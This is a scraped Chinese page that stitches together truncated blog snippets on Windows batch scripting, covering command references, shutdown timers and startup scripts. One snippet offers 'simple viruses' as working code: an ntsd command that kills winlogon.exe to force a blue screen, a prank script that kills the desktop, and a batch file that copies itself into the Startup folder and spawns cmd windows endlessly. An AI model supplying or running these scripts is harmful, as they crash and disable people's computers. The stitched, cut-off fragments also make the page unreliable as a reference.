精华内容
下载资源
问答
  • windows定时关机脚本

    2018-11-01 14:50:27
    win10必须使用管理员方式打开,然后设置自动关机时间才可以!
  • windows 批处理脚本编写 什么是批处理 批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理。批处理文件的扩展名为bat。 目前比较常见 的批处理包含两类:DOS批处理和PS批处理。PS...

    windows 批处理脚本编写

    什么是批处理

    批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理。批处理文件的扩展名为bat。

    目前比较常见 的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于强大的图片编辑软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。这里要讲的就是DOS批处理。

    批处理是一种简化的脚本语言,它应用于DOS和Windows系统中,它是由DOS或者Windows系统内嵌的命令解释器(通常是COMMAND.COM或者CMD.EXE)解释运行。类似于Unix中的Shell脚本。批处理文件具有.bat或者.cmd的扩展名,其最简单的例子,是逐行书写在命令行中会用到的各种命令。更复杂的情况,需要使用if,for,goto等命令控制程序的运行过程,如同C,Basic等中高级语言一样。如果需要实现更复杂的应用,利用外部程序是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。

    批处理文件,或称为批处理程序,是由一条条的DOS命令组成的普通文本文件,可以用记事本直接编辑或用DOS命令创建,也可以用DOS下的文本编辑器Edit.exe来编辑。在“命令提示”下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe运行该批处理程序。一般情况下,每条命令占据一行;当然也可以将多条命令用特定符号(如:&、&&、|、||等)分隔后写入同一行中;还有的情况就是像if、for等较高级的命令则要占据几行甚至几十几百行的空间。

    系统在解释运行批处理程序时,首先扫描整个批处理程序,然后从第一行代码开始向下逐句执行所有的命令,直至程序结尾或遇见exit命令或出错意外退出。

    批处理符号简介

    • 回显屏蔽 @
    • 重定向1 >与>>
    • 重定向2 <
    • 管道符号 |
    • 转义符 ^
    • 逻辑命令符包括:&、&&、||

    批处理命令简介

    • echo
    • rem
    • pause
    • call
    • start
    • goto
    • set

    常用DOS命令

    文件夹管理

    • cd 显示当前目录名或改变当前目录。
    • md 创建目录。
    • rd 删除一个目录。
    • dir 显示目录中的文件和子目录列表。
    • tree 以图形显示驱动器或路径的文件夹结构。
    • path 为可执行文件显示或设置一个搜索路径。
    • xcopy 复制文件和目录树。

    文件管理

    • type 显示文本文件的内容。
    • copy 将一份或多份文件复制到另一个位置。
    • del 删除一个或数个文件。
    • move 移动文件并重命名文件和目录。(Windows XP Home Edition中没有)
    • ren 重命名文件。
    • replace 替换文件。
    • attrib 显示或更改文件属性。
    • find 搜索字符串。
    • fc 比较两个文件或两个文件集并显示它们之间的不同

    网络命令

    • ping 进行网络连接测试、名称解析
    • ftp 文件传输
    • net 网络命令集及用户管理
    • telnet 远程登陆
    • ipconfig显示、修改TCP/IP设置
    • msg 给用户发送消息
    • arp 显示、修改局域网的IP地址-物理地址映射列表

    系统管理

    • at 安排在特定日期和时间运行命令和程序
    • shutdown立即或定时关机或重启
    • tskill 结束进程
    • taskkill结束进程(比tskill高级,但WinXPHome版中无该命令)
    • tasklist显示进程列表(Windows XP Home Edition中没有)
    • sc 系统服务设置与控制
    • reg 注册表控制台工具
    • powercfg控制系统上的电源设置

    对于以上列出的所有命令,在cmd中输入命令+/?即可查看该命令的帮助信息。如find /?

    Windows Batch 常用命令

    1 echo 和 @
    回显命令
    @                     #关闭单行回显
    echo off              #从下一行开始关闭回显
    @echo off             #从本行开始关闭回显。一般批处理第一行都是这个
    echo on               #从下一行开始打开回显
    echo                  #显示当前是 echo off 状态还是 echo on 状态
    echo.                 #输出一个”回车换行”,空白行
                             #(同echo, echo; echo+ echo[ echo] echo/ echo)
    
    2 errorlevel
    echo %errorlevel%
    每个命令运行结束,可以用这个命令行格式查看返回码
    默认值为0,一般命令执行出错会设 errorlevel 为1
    
    3 dir
    显示文件夹内容
    dir                  #显示当前目录中的文件和子目录
    dir /a               #显示当前目录中的文件和子目录,包括隐藏文件和系统文件
    dir c: /a:d          #显示 C 盘当前目录中的目录
    dir c: /a:-d         #显示 C 盘根目录中的文件
    dir c: /b/p         #/b只显示文件名,/p分页显示
    dir *.exe /s         #显示当前目录和子目录里所有的.exe文件
    
    4 cd
    切换目录
    cd                  #进入根目录
    cd                   #显示当前目录
    cd /d d:sdk         #可以同时更改盘符和目录
    
    5 md
    创建目录
    md d:abc          #如果 d:a 不存在,将会自动创建中级目录
    #如果命令扩展名被停用,则需要键入 mkdir abc。
    
    6 rd
    删除目录
    rd abc               #删除当前目录里的 abc 子目录,要求为空目录
    rd /s/q d:temp      #删除 d:temp 文件夹及其子文件夹和文件,/q安静模式
    
    7 del
    删除文件
    del d:test.txt      #删除指定文件,不能是隐藏、系统、只读文件
    del /q/a/f d:temp*.*
    删除 d:temp 文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录
    del /q/a/f/s d:temp*.*
    删除 d:temp 及子文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录
    
    8 ren
    重命名命令
    ren d:temp tmp      #支持对文件夹的重命名
    
    9 cls
    清屏
    
    10 type
    显示文件内容
    type c:boot.ini     #显示指定文件的内容,程序文件一般会显示乱码
    type *.txt           #显示当前目录里所有.txt文件的内容
    
    11 copy
    拷贝文件
    copy c:test.txt d:test.bak
    复制 c:test.txt 文件到 d: ,并重命名为 test.bak
    copy con test.txt
    从屏幕上等待输入,按 Ctrl+Z 结束输入,输入内容存为test.txt文件
    con代表屏幕,prn代表打印机,nul代表空设备
    copy 1.txt + 2.txt 3.txt
    合并 1.txt 和 2.txt 的内容,保存为 3.txt 文件
    如果不指定 3.txt ,则保存到 1.txt
    copy test.txt +
    复制文件到自己,实际上是修改了文件日期
    
    12 title
    设置cmd窗口的标题
    title 新标题         #可以看到cmd窗口的标题栏变了
    
    13 ver
    显示系统版本
    
    14 label 和 vol
    设置卷标
    vol                  #显示卷标
    label                #显示卷标,同时提示输入新卷标
    label c:system       #设置C盘的卷标为 system
    
    15 pause
    暂停命令
    
    16 rem 和 ::
    注释命令
    注释行不执行操作
    
    17 date 和 time
    日期和时间
    date           #显示当前日期,并提示输入新日期,按"回车"略过输入
    date/t         #只显示当前日期,不提示输入新日期
    time           #显示当前时间,并提示输入新时间,按"回车"略过输入
    time/t         #只显示当前时间,不提示输入新时间
    
    18 goto 和 :
    跳转命令
    :label         #行首为:表示该行是标签行,标签行不执行操作
    goto label     #跳转到指定的标签那一行
    
    19 find (外部命令)
    查找命令
    find "abc" c:test.txt
    在 c:test.txt 文件里查找含 abc 字符串的行
    如果找不到,将设 errorlevel 返回码为1
    find /i “abc” c:test.txt
    查找含 abc 的行,忽略大小写
    find /c "abc" c:test.txt
    显示含 abc 的行的行数
    
    20 more (外部命令)
    逐屏显示
    more c:test.txt     #逐屏显示 c:test.txt 的文件内容
    
    21 tree
    显示目录结构
    tree d:             #显示D盘的文件目录结构
    
    22 &
    顺序执行多条命令,而不管命令是否执行成功
    
    23 &&
    顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令
    find "ok" c:test.txt && echo 成功
    如果找到了"ok"字样,就显示"成功",找不到就不显示
    
    24 ||
    顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
    find "ok" c:test.txt || echo 不成功
    如果找不到"ok"字样,就显示"不成功",找到了就不显示
    
    25 |
    管道命令
    dir *.* /s/a | find /c ".exe"
    管道命令表示先执行 dir 命令,对其输出的结果执行后面的 find 命令
    该命令行结果:输出当前文件夹及所有子文件夹里的.exe文件的个数
    type c:test.txt|more
    这个和 more c:test.txt 的效果是一样的
    
    26 > 和 >>
    输出重定向命令
    > 清除文件中原有的内容后再写入
    >> 追加内容到文件末尾,而不会清除原有的内容
    主要将本来显示在屏幕上的内容输出到指定文件中
    指定文件如果不存在,则自动生成该文件
    type c:test.txt >prn
    屏幕上不显示文件内容,转向输出到打印机
    echo hello world>con
    在屏幕上显示hello world,实际上所有输出都是默认 >con 的
    copy c:test.txt f: >nul
    拷贝文件,并且不显示"文件复制成功"的提示信息,但如果f盘不存在,还是会显示出错信息
    copy c:test.txt f: >nul 2>nul
    不显示”文件复制成功”的提示信息,并且f盘不存在的话,也不显示错误提示信息
    echo ^^W ^> ^W>c:test.txt
    生成的文件内容为 ^W > W
    ^ 和 > 是控制命令,要把它们输出到文件,必须在前面加个 ^ 符号
    
    27 <
    从文件中获得输入信息,而不是从屏幕上
    一般用于 date time label 等需要等待输入的命令
    @echo off
    echo 2005-05-01>temp.txt
    date <temp.txt
    del temp.txt
    这样就可以不等待输入直接修改当前日期
    
    28 %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*
    命令行传递给批处理的参数
    %0 批处理文件本身
    %1 第一个参数
    %9 第九个参数
    %* 从第一个参数开始的所有参数
    
    批参数(%n)的替代已被增强。您可以使用以下语法:
    
         %~1          - 删除引号("),扩充 %1
         %~f1         - 将 %1 扩充到一个完全合格的路径名
         %~d1         - 仅将 %1 扩充到一个驱动器号
         %~p1         - 仅将 %1 扩充到一个路径
         %~n1         - 仅将 %1 扩充到一个文件名
         %~x1         - 仅将 %1 扩充到一个文件扩展名
         %~s1         - 扩充的路径指含有短名
         %~a1         - 将 %1 扩充到文件属性
         %~t1         - 将 %1 扩充到文件的日期/时间
         %~z1         - 将 %1 扩充到文件的大小
         %~$PATH : 1 - 查找列在 PATH 环境变量的目录,并将 %1
                       扩充到找到的第一个完全合格的名称。如果环境
                       变量名未被定义,或者没有找到文件,此组合键会
                       扩充到空字符串
    
    可以组合修定符来取得多重结果:
    
        %~dp1        - 只将 %1 扩展到驱动器号和路径
        %~nx1        - 只将 %1 扩展到文件名和扩展名
        %~dp$PATH:1 - 在列在 PATH 环境变量中的目录里查找 %1,
                       并扩展到找到的第一个文件的驱动器号和路径。
        %~ftza1      - 将 %1 扩展到类似 DIR 的输出行。
    可以参照 call/? 或 for/? 看出每个参数的含意
    echo load "%%1" "%%2">c:test.txt
    生成的文件内容为 load "%1" "%2"
    批处理文件里,用这个格式把命令行参数输出到文件
    
    29 if
    判断命令
    if "%1"=="/a" echo 第一个参数是/a
    if /i "%1" equ "/a" echo 第一个参数是/a
    /i 表示不区分大小写,equ 和 == 是一样的,其它运算符参见 if/?
    if exist c:test.bat echo 存在c:test.bat文件
    if not exist c:windows (
         echo 不存在c:windows文件夹
         )
    if exist c:test.bat (
         echo 存在c:test.bat
         ) else (
         echo 不存在c:test.bat
         )
    
    30 setlocal 和 endlocal
    设置”命令扩展名”和”延缓环境变量扩充”
    SETLOCAL ENABLEEXTENSIONS             #启用"命令扩展名"
    SETLOCAL DISABLEEXTENSIONS            #停用"命令扩展名"
    SETLOCAL ENABLEDELAYEDEXPANSION       #启用"延缓环境变量扩充"
    SETLOCAL DISABLEDELAYEDEXPANSION      #停用"延缓环境变量扩充"
    ENDLOCAL                              #恢复到使用SETLOCAL语句以前的状态
    “命令扩展名”默认为启用
    “延缓环境变量扩充”默认为停用
    批处理结束系统会自动恢复默认值
    可以修改注册表以禁用"命令扩展名",详见 cmd /? 。所以用到"命令扩展名"的程
    序,建议在开头和结尾加上 SETLOCAL ENABLEEXTENSIONS 和 ENDLOCAL 语句,以确
    保程序能在其它系统上正确运行
    "延缓环境变量扩充"主要用于 if 和 for 的符合语句,在 set 的说明里有其实用例程
    
    31 set
    设置变量
    引用变量可在变量名前后加 % ,即 %变量名%
    set                     #显示目前所有可用的变量,包括系统变量和自定义的变量
    echo %SystemDrive%      #显示系统盘盘符。系统变量可以直接引用
    set p                   #显示所有以p开头的变量,要是一个也没有就设errorlevel=1
    set p=aa1bb1aa2bb2      #设置变量p,并赋值为 = 后面的字符串,即aa1bb1aa2bb2
    echo %p%                #显示变量p代表的字符串,即aa1bb1aa2bb2
    echo %p:~6%             #显示变量p中第6个字符以后的所有字符,即aa2bb2
    echo %p:~6,3%           #显示第6个字符以后的3个字符,即aa2
    echo %p:~0,3%           #显示前3个字符,即aa1
    echo %p:~-2%            #显示最后面的2个字符,即b2
    echo %p:~0,-2%          #显示除了最后2个字符以外的其它字符,即aa1bb1aa2b
    echo %p:aa=c%           #用c替换变量p中所有的aa,即显示c1bb1c2bb2
    echo %p:aa=%            #将变量p中的所有aa字符串置换为空,即显示1bb12bb2
    echo %p:*bb=c%          #第一个bb及其之前的所有字符被替换为c,即显示c1aa2bb2
    set p=%p:*bb=c%         #设置变量p,赋值为 %p:*bb=c% ,即c1aa2bb2
    set /a p=39             #设置p为数值型变量,值为39
    set /a p=39/10          #支持运算符,有小数时用去尾法,39/10=3.9,去尾得3,p=3
    set /a p=p/10           #用 /a 参数时,在 = 后面的变量可以不加%直接引用
    set /a p=”1&0″          #”与”运算,要加引号。其它支持的运算符参见set/?
    set p=                  #取消p变量
    set /p p=请输入
    屏幕上显示”请输入”,并会将输入的字符串赋值给变量p
    注意这条可以用来取代 choice 命令
    注意变量在 if 和 for 的复合语句里是一次性全部替换的,如
    @echo off
    set p=aaa
    if %p%==aaa (
         echo %p%
         set p=bbb
         echo %p%
         )
    结果将显示
    aaa
    aaa
    因为在读取 if 语句时已经将所有 %p% 替换为aaa
    这里的"替换",在 /? 帮助里就是指"扩充"、"环境变量扩充"
    可以启用”延缓环境变量扩充”,用 ! 来引用变量,即 !变量名!
    @echo off
    SETLOCAL ENABLEDELAYEDEXPANSION
    set p=aaa
    if %p%==aaa (
         echo %p%
         set p=bbb
         echo !p!
         )
    ENDLOCAL
    结果将显示
    aaa
    bbb
    还有几个动态变量,运行 set 看不到
    %CD%                   #代表当前目录的字符串
    %DATE%                 #当前日期
    %TIME%                 #当前时间
    %RANDOM%               #随机整数,介于0~32767
    %ERRORLEVEL%           #当前 ERRORLEVEL 值
    %CMDEXTVERSION%        #当前命令处理器扩展名版本号
    %CMDCMDLINE%           #调用命令处理器的原始命令行
    可以用echo命令查看每个变量值,如 echo %time%
    注意 %time% 精确到毫秒,在批处理需要延时处理时可以用到
    
    32 start
    批处理中调用外部程序的命令,否则等外部程序完成后才继续执行剩下的指令
    
    33 call
    批处理中调用另外一个批处理的命令,否则剩下的批处理指令将不会被执行
    有时有的应用程序用start调用出错的,也可以call调用
    
    34 choice (外部命令)
    选择命令
    让用户输入一个字符,从而选择运行不同的命令,返回码errorlevel为1234……
    win98里是choice.com
    win2000pro里没有,可以从win98里拷过来
    win2003里是choice.exe
    choice /N /C y /T 5 /D y>nul
    延时5秒
    
    35 assoc 和 ftype
    文件关联
    assoc 设置'文件扩展名'关联,关联到'文件类型'
    ftype 设置'文件类型'关联,关联到'执行程序和参数'
    当你双击一个.txt文件时,windows并不是根据.txt直接判断用 notepad.exe 打开
    而是先判断.txt属于 txtfile '文件类型'
    再调用 txtfile 关联的命令行 txtfile=%SystemRoot%system32NOTEPAD.EXE %1
    可以在"文件夹选项"→"文件类型"里修改这2种关联
    assoc            #显示所有'文件扩展名'关联
    assoc .txt       #显示.txt代表的'文件类型',结果显示 .txt=txtfile
    assoc .doc       #显示.doc代表的'文件类型',结果显示 .doc=Word.Document.8
    assoc .exe       #显示.exe代表的'文件类型',结果显示 .exe=exefile
    ftype            #显示所有'文件类型'关联
    ftype exefile    #显示exefile类型关联的命令行,结果显示 exefile="%1" %*
    assoc .txt=Word.Document.8
    设置.txt为word类型的文档,可以看到.txt文件的图标都变了
    assoc .txt=txtfile
    恢复.txt的正确关联
    ftype exefile="%1" %*
    恢复 exefile 的正确关联
    如果该关联已经被破坏,可以运行 command.com ,再输入这条命令
    
    36 pushd 和 popd
    切换当前目录
    @echo off
    c: & cd & md mp3        #在 C: 建立 mp3 文件夹
    md d:mp4                #在 D: 建立 mp4 文件夹
    cd /d d:mp4             #更改当前目录为 d:mp4
    pushd c:mp3             #保存当前目录,并切换当前目录为 c:mp3
    popd                     #恢复当前目录为刚才保存的 d:mp4
    
    37 for
    循环命令
    这个比较复杂,请对照 for/? 来看
    for %%i in (c: d: e: f:) do echo %%i
    依次调用小括号里的每个字符串,执行 do 后面的命令
    注意%%i,在批处理中 for 语句调用参数用2个%
    默认的字符串分隔符是"空格键","Tab键","回车键"
    for %%i in (*.txt) do find "abc" %%i
    对当前目录里所有的txt文件执行 find 命令
    for /r . %%i in (*.txt) do find "abc" %%i
    在当前目录和子目录里所有的.txt文件中搜索包含 abc 字符串的行
    for /r . %%i in (.) do echo %%~pni
    显示当前目录名和所有子目录名,包括路径,不包括盘符
    for /r d:mp3 %%i in (*.mp3) do echo %%i>>d:mp3.txt
    把 d:mp3 及其子目录里的mp3文件的文件名都存到 d:mp3.txt 里去
    for /l %%i in (2,1,8) do echo %%i
    生成2345678的一串数字,2是数字序列的开头,8是结尾,1表示每次加1
    for /f %%i in ('set') do echo %%i
    对 set 命令的输出结果循环调用,每行一个
    for /f "eol=P" %%i in ('set') do echo %%i
    取 set 命令的输出结果,忽略以 P 开头的那几行
    for /f %%i in (d:mp3.txt) do echo %%i
    显示 d:mp3.txt 里的每个文件名,每行一个,不支持带空格的名称
    for /f "delims=" %%i in (d:mp3.txt) do echo %%i
    显示 d:mp3.txt 里的每个文件名,每行一个,支持带空格的名称
    for /f "skip=5 tokens=4" %%a in ('dir') do echo %%a
    对 dir 命令的结果,跳过前面5行,余下的每行取第4列
    每列之间的分隔符为默认的"空格"
    可以注意到 dir 命令输出的前5行是没有文件名的
    for /f "tokens=1,2,3 delims=- " %%a in ('date /t') do (
         echo %%a
         echo %%b
         echo %%c
         )
    对 date /t 的输出结果,每行取1、2、3列
    第一列对应指定的 %%a ,后面的 %%b 和 %%c 是派生出来的,对应其它列
    分隔符指定为 - 和"空格",注意 delims=- 后面有个"空格"
    其中 tokens=1,2,3 若用 tokens=1-3 替换,效果是一样的
    for /f "tokens=2* delims=- " %%a in ('date /t') do echo %%b
    取第2列给 %%a ,其后的列都给 %%b
    
    38 subst (外部命令)
    映射磁盘。
    subst z: serverd      #这样输入z:就可以访问serverd了
    subst z: /d              #取消该映射
    subst                    #显示目前所有的映时
    
    39 xcopy (外部命令)
    文件拷贝
    xcopy d:mp3 e:mp3 /s/e/i/y
    复制 d:mp3 文件夹、所有子文件夹和文件到 e: ,覆盖已有文件
    加 /i 表示如果 e: 没有 mp3 文件夹就自动新建一个,否则会有询问
    展开全文
  • 本文主要介绍了批处理编写windows脚本文件)的知识,并介绍了通过windows脚本的一些简单的病毒,如:蓝屏命令、恶意清空桌面等。

    1.1批处理作用
    自上而下成批的处理每一条命令,直到执行最后一条!
    1.2如何创建批处理
    扩展名:.bat
    创建方法:新建一个记事本文件,然后将扩展名改为.bat
    1.3 批处理基本语法
    1.3.1 @echo off
    作用:关闭回显功能,即屏蔽执行过程
    1.3.2 pause
    作用: 暂停批处理运行
    1.3.3 title
    作用:为批处理脚本设置标题
    1.3.4 echo .
    作用: 空一行
    1.3.5 set
    作用:设置变量,常用于在脚本中的互动赋值

     互动赋值 :set /p  time=请输入时间:
     引用变量 :   %time%
    

    案例:
    //作用:定时关机

    set /p time=请输入时间:
    shutdown -s -f -t %time%
    

    1.3.6 :和goto
    :定义标签名
    goto 实现跳转

    简单的病毒

    针对xp或2003的蓝屏命令

    ntsd -c -q -pn winlogon.exe   
    

    注释:强制注销winlogon.exe进程,winlogon.exe 是开机启动进程,无法注销,故导致蓝屏
    恶意清空桌面

    @echo off
    taskkill  /im explorer.exe /f >nul 2>nul  
    echo 傻了吧
    ping-n 5 127.0.0.0 >nul 2>nul
    start c:\windows\explorer.exe
    echo 吓唬你的
    pause`
    

    注释:

    1>nul 屏蔽操作成功显示的信息,但是出错还是会显示(同 >nul)
    2>nul 屏蔽操作失败显示的信息,但是成功还是会显示

    nul 2>nul 就是正确的错误的一起屏蔽掉,啥也不显示了

    开机无限打开cmd导致蓝屏

    @echo off  
    color 0a  
    title 简单的病毒   
    //无限打开cmd
    copy game.bat  "%userprofile\「开始」菜单\程序\启动"   
    :d
    start   
    goto d
    

    运行结果:
    在这里插入图片描述

    展开全文
  • windows bat脚本实现定时重启和关机

    千次阅读 2020-11-29 19:46:09
    新建.bat文件,复制以下内容可以实现定时重启或者关机 定时重启: shutdown /g /t 302400 注:302400是秒,一个星期的时间,参数传需要是秒,所以需要定时多久直接转化为秒即可 定时关机: shutdown /s /...

    新建.bat文件,复制以下内容可以实现定时重启或者关机

    定时重启:

    shutdown    /g     /t     302400  

    注:302400是秒,一个星期的时间,参数传需要是秒,所以需要定时多久直接转化为秒即可

    定时关机:

    shutdown /s  /t   10

      定时10秒后关机

    -----------------------------------------------

    编写bat脚本放置在以下位置

    以win10系统为例在目录

    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

    放在此目录下,开机会自动运行程序

    展开全文
  • windows系统开关机测试脚本与方法

    千次阅读 2016-08-26 13:44:27
    onoff.bat放入C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 5.提权.onoff.bat以管理员模式运行 可采用以下方法 1)电脑-管理-本地用户和组-开启administrator用户 2)注销本地用户...

    1.系统设置

    如无特别说明run in test 都应该设置
    1)关闭UAC
    2)关闭系统失败自动重新启动(我的电脑属性-启动与故障恢复)
    3)关闭防火墙
    4)关闭系统更新
    5)关闭电源选项(不关屏不睡眠唤醒不要密码)

    2.BIOS设置

    RTC 设置12:03

    3.新建onoff.bat

    for /f "delims=" %%i in (%USERPROFILE%\desktop\onoff.txt) do (
    set j=%%i
    set /a j=j+1 
    )
    echo %j% >%USERPROFILE%\desktop\onoff.txt
    
    time 12:00
    shutdown -s -t 30


    4.onoff.bat开机自动运行

    onoff.bat放入C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

    5.提权.onoff.bat以管理员模式运行

    可采用以下方法

    1)电脑-管理-本地用户和组-开启administrator用户

    2)注销本地用户并转换到administrator用户

    3)运行onoff.bat

    6.结果查看

    桌面会生成onoff.txt文件,里面记录运行次数。首次运行应保证桌面无onoff.txt文件

    7.注意事项

    中止进程可在运行win+R输入shutdown –a;终止进程需删除路径下onoff.bat

    展开全文
  • 一、基本命令 1、echo显示 echo hello 2、pause等待键盘敲击z 3、call调用其他批处理 call hello.bat call hello.bat 12 带参数的调用 4、start启动程序 start msedge www.baidu.com 5、exit退出脚本 exit /b code ...
  • 工程师经常在各个文件夹间输入各种命令,非常占用时间,在linux系统上有shell帮助工程师简化操作,windows上也有相应的脚本工具叫批处理脚本 批处理脚本是基于dos命令的,里面可以写一个或者多个命令,windows依次...
  • WindowsAzure Powershell脚本定时启动关机Azure VM说到windowsazure对于当下不是一个新鲜话题了,但是对于功能来说还是有点期待的,毕竟在云服务的世界里windowsazure还是一个菜鸟了。同样我们都知道,对于windows...
  • 编写自己的rc命令脚本(转) 在维护Linux系统运转的日子里,肯定会遇到需要系统管理员对开机或者关机命令脚本进行修改的情况。有两种方法可以用来实现修改的目的: ● 如果所做的修改只在引导开机的时候起作用,并且...
  • 深入浅出Win2000计算机启动/关机脚本

    千次阅读 2009-07-11 10:12:00
    深入浅出Win2000计算机启动/关机脚本 一.简介 Win2000计算机启动/关机脚本(startup/shutdown scripts)是Win2000的一个新特点。启动脚本是邀请用户登录之前运行的批文件,它的功能类似于Win9X和DOS中的自动执行...
  • – 写这个脚本的目的主要是感觉Windows自带的shutdown -s -t参数是秒,而对于大多数使用场景,我更需要的是在特定的时间自动关机,这就需要程序自动计算当前时间和目标时间的时间间隔,并转换成秒。 – 当然也有同学...
  • Window系统上自制快速关机脚本

    千次阅读 2018-10-10 14:52:37
    想必大家都在用Windows系统,有时大家有急事,想要快速关闭电脑,觉得用鼠标去进行点点才能关机很麻烦那么,今天我在这里教大家如何在Windows电脑上制作一个关机脚本,只要我们双击这个脚本文件就可以实现自动关机 ...
  • 深入浅出Win2000计算机启动/关机脚本 &lt;script&gt;&lt;/script&gt; 分类: 网络&amp;系统 &lt;!-- 正文开始 --&gt; 一.简介  Win2000计算机启动/关机脚本...
  • 批处理编写批处理编写(DOS脚本)批处理的作用如何创建批处理基本批处理指令 批处理编写(DOS脚本) 批处理的作用 从上而下成批的处理每一条命令,直到执行最后一条。 如何创建批处理 文件扩展名:.bat 操作方法:...
  • window定时自动关机脚本 .bat批处理脚本 批处理介绍(batch) 批处理(Batch),也称为批处理脚本。它是对某对象进行批量的处理,通常被认为是一种简化的脚本语言,应用于DOS和Windows系统中。批处理文件的扩展名为bat...
  • 简介 Win2000计算机启动/关机脚本(startup/shutdown scripts)是Win2000的一个新特点.启动脚本是邀请用户登录之前运行的批文件,它的功能类似于Win9X和DOS中的自动执行批处理文件autoexec.bat;关机脚本是计算机关机...
  • 简介 Win2000计算机启动/关机脚本(startup/shutdown scripts)是Win2000的一个新特点.启动脚本是邀请用户登录之前运行的批文件,它的功能类似于Win9X和DOS中的自动执行批处理文件autoexec.bat;关机脚本是计算机关机...
  • 深入浅出Win2000计算机启动/关机脚本 一.简介  Win2000计算机启动/关机脚本(startup/shutdown scripts)是Win2000的一个新特点。启动脚本是邀请用户登录之前运行的批文件,它的功能类似于Win9X和DOS中的自动...
  • 标题 深入浅出Win2000计算机启动 关机脚本关键字 深入浅出Win2000计算机启动 关机脚本 信息来源:清水飘萍一.简介 Win2000计算机启动/关机脚本(startup/shutdown scripts)是Win2000的一个新特点.启动脚本是邀请...
  • 自己用VB编写的定时关机软件代码,欢迎大家交流
  • windows编写开机自启动程序bat脚本

    千次阅读 2018-11-02 15:26:39
    以上程序场景,是xmapp启动的时候一直报错,查看原因是因为mysql的经常关机的时候依旧还在,所以先杀死mysql进程。再启动xmapp程序。 echo Wscript.Sleep Wscript.Arguments(0) * 1000>Delay.vbs Delay.vbs 10 ...
  • 深入浅出Win2000 (xp)计算机启动/关机脚本 2010年07月28日  一.简介  Win2000计算机启动/关机脚本(startup/shutdown scripts)是Win2000的  一个新特点.启动脚本是邀请用户登录之前运行的批文件,它的功能...
  • 微软一站式脚本示例库项目组根据TechNet论坛中经常被问及的问题而编写这些脚本。同时,我们录制了相关的视频为您提供更直观的操作演示。 在Windows8中为开始菜单创建关机/重启/注销磁贴 这是目前
  • Windows XP启动脚本

    千次阅读 2004-10-15 23:07:00
    Windows XP启动脚本(startup scripts)是计算机在登录屏幕出现之前运行的批处理文件,它的功能类似于Windows 9×和DOS中的自动执行批处理文件autoexec.bat。利用这个特性,可以编写一个批处理文件重新设置用户密码,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 7,779
精华内容 3,111
关键字:

自己编写windows关机脚本